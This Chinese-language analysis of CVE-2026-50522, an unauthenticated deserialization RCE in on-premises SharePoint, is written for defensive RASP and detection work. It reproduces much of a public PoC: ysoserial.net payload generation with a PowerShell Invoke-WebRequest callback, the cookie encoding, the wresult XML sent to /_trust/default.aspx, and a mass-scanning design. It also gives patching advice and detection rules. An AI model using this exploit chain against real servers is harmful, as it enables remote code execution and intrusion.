CVE-2026-50522 SharePoint 未认证反序列化 RCE 分析
分析日期:2026-08-03 来源:https://github.com/4minx/CVE-2026-50522 MSRC:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522
漏洞概要
| 项目 | 内容 |
|---|---|
| CVE 编号 | CVE-2026-50522 |
| 类型 | CWE-502 不可信数据反序列化 |
| CVSS 3.1 | 9.8 (Critical) |
| 认证要求 | 无需认证 (Unauthenticated) |
| 影响产品 | Microsoft SharePoint Server(本地部署版) |
受影响版本
| 产品 | 修复版本 |
|---|---|
| SharePoint Server Subscription Edition | 16.0.19725.20434 之前 |
| SharePoint Server 2019 | 16.0.10417.20175 之前 |
| SharePoint Enterprise Server 2016 | 16.0.5561.1001 之前 |
漏洞原理
这是一个典型的不安全反序列化导致 RCE漏洞,攻击链如下:
- Payload 生成:使用
ysoserial.net生成BinaryFormatter格式的序列化 payload,利用TypeConfuseDelegategadget chain 构造恶意命令 - Payload 编码:原始 bytes → zlib deflate 压缩 → Base64 编码 → 嵌入到
SecurityContextTokenXML 结构的<Cookie>元素中 - 投递路径:将构造的 token 包裹在 WS-Federation 的
RequestSecurityTokenResponseXML 中,通过wresult参数 POST 到/_trust/default.aspx(SharePoint 的 WS-Federation 信任端点) - 触发执行:SharePoint 服务端解析
wresult→ 提取SecurityContextToken→ 读取 Cookie 值 → 使用 BinaryFormatter 反序列化 → 触发 gadget chain → 在 IIS worker process (w3wp.exe) 上下文中执行任意代码
根因:SharePoint 的 WS-Federation 端点在处理 SecurityContextToken 时,对 Cookie 字段使用了不安全的 BinaryFormatter.Deserialize(),且该端点无需认证即可访问。
PoC 代码分析
build_payload 函数
python
def build_payload(ysoserial, guid, callback_url):
# 1. 构造命令 — 原版用 PowerShell 调 Invoke-WebRequest 回连
cmd = f"powershell.exe -NoProfile -NonInteractive -Command Invoke-WebRequest -UseBasicParsing '{callback_url}'"
# 2. 调用 ysoserial.net 生成 BinaryFormatter 反序列化 payload
# -g TypeConfuseDelegate (gadget chain)
# -f BinaryFormatter (序列化格式)
# -o raw (输出原始 bytes)
# -c cmd (要执行的命令)
tmp = os.path.join(tempfile.gettempdir(), f"{guid}.bin")
r = subprocess.run(
[ysoserial, "-g", GADGET, "-f", FORMATTER, "-o", "raw", "-c", cmd, "--outputpath", tmp],
capture_output=True, text=True, timeout=30
)
# 3. 读取生成的 raw bytes
with open(tmp, "rb") as f:
return f.read()cookie_encode 函数
python
def cookie_encode(data: bytes) -> str:
return base64.b64encode(zlib.compress(data)[2:-4]).decode()zlib.compress(data)返回[2字节头][压缩数据][4字节ADLER校验][2:-4]去掉头和校验,只保留纯压缩数据- 再 base64 编码
build_wresult 函数
python
def build_wresult(guid, cookie):
token = (
f'<sc:SecurityContextToken xmlns:sc="http://schemas.xmlsoap.org/ws/2005/02/sc">'
f'<sc:Identifier>urn:unique-id:securitycontext:{guid}</sc:Identifier>'
f'<Cookie xmlns="http://schemas.microsoft.com/ws/2006/05/security">{cookie}</Cookie>'
f'</sc:SecurityContextToken>'
)
return (
f'<t:RequestSecurityTokenResponse xmlns:t="http://schemas.xmlsoap.org/ws/200...'
# ... 包装在 WS-Federation Response XML 中
)PoC 特征
- 多线程扫描:
ThreadPoolExecutor10 线程并发 - 两种回连模式:path 模式(
callback/host)和 subdomain 模式(host.callback) - 响应分析:通过 HTTP 状态码和响应体内容判断目标状态
- 3 次重试:超时或连接错误时自动重试
- 仅验证无利用:payload 只执行
Invoke-WebRequest回连,不执行破坏性命令
完整调用链
ysoserial.net -g TypeConfuseDelegate -f BinaryFormatter -c "calc"
↓ 生成 raw bytes (BinaryFormatter 序列化的 TypeConfuseDelegate)
build_payload() 返回 bytes
↓
cookie_encode(data) → zlib.compress → 去 2 字节头 4 字节尾 → base64
↓
build_wresult(guid, cookie) → 包装成 SecurityContextToken XML
↓
POST /_trust/default.aspx (wresult=<上面那段 XML>)
↓
SharePoint 解析 wresult → 提取 Cookie → BinaryFormatter.Deserialize()
↓
TypeConfuseDelegate → Process.Start("calc")
↓
w3wp.exe 子进程执行
修改 calc 验证
将 build_payload 中的 cmd 改为:
python
cmd = "calc" # 或 "cmd.exe /c calc"ysoserial.net 的 -c 参数就是最终要执行的命令,TypeConfuseDelegate gadget chain 会通过 Process.Start() 调用它。换成 calc 只是换了个更简单的命令,payload 构造逻辑完全不变。
防御建议
紧急措施
- 立即打补丁:升级到对应版本的修复版本
- 网络隔离:如果无需对外暴露 WS-Federation 端点,在 WAF/反向代理层阻断对
/_trust/default.aspx的外部访问 - 检测:检查 IIS 日志中对
/_trust/default.aspx的 POST 请求,特别是wresult参数包含SecurityContextToken的记录
深度防御
- AMSI 集成:确保 Windows AMSI 已启用并与 IIS 集成,可拦截 PowerShell gadget payload
- BinaryFormatter 禁用:在 .NET 配置中限制
BinaryFormatter的使用 - WAF 规则:针对
/_trust/default.aspx的异常大wresultPOST 请求添加检测规则 - 日志监控:监控
w3wp.exe异常子进程创建(如powershell.exe、calc.exe)
对 cve-dat-generate / RASP 的启示
Hook 检测点
| Hook 点 | 检测特征 |
|---|---|
BinaryFormatter.Deserialize | 调用栈包含 SecurityContextToken / WSTrust |
Process.Start / CreateProcess | 父进程是 w3wp.exe,命令行含 calc/powershell |
/_trust/default.aspx 请求 | POST + wresult 参数含 SecurityContextToken + 超长 base64 Cookie |
cve-dat-generate 配置建议
- 产品:SharePoint(已有
SharePoint.json) - Hook 点:
MyDeserialize(已有)、MyStartWithCreateProcess(已有) - 检测特征:POST
/_trust/default.aspx+wresult包含SecurityContextToken+ BinaryFormatter 反序列化调用栈 - 可在
report_config.json中考虑增加对BinaryFormatter相关调用栈的关键词监控
风险评估
高危特征:
- ✅ 无需认证 — 任何能访问到
/_trust/default.aspx的攻击者都可利用 - ✅ 直接 RCE — 以 IIS 应用池权限执行代码
- ✅ 批量可利用 — PoC 自带多线程扫描器,适合大规模攻击
- ✅ 公开可用 — PoC 已在 GitHub 公开,据称已被活跃利用
- ⚠️ AMSI 可能拦截 — PoC 的
analyze()函数会检测 AMSI 拦截
攻击场景:
- 暴露在互联网的本地 SharePoint 服务器(企业外网门户、合作伙伴协作平台)
- 内网横向移动(获取 SharePoint 控制权 → 横向渗透域内其他系统)
本文档用于防御研究和 RASP 规则维护,分析基于公开 PoC 和 MSRC 漏洞信息。